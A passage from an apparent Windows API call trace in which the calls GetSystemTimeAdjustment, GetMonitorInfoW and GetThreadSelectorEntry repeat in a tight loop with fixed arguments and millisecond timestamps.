lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.873] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.873] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.873] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.874] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.874] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.874] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.875] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.875] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.875] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.876] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.876] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.876] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.877] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.877] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.877] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | 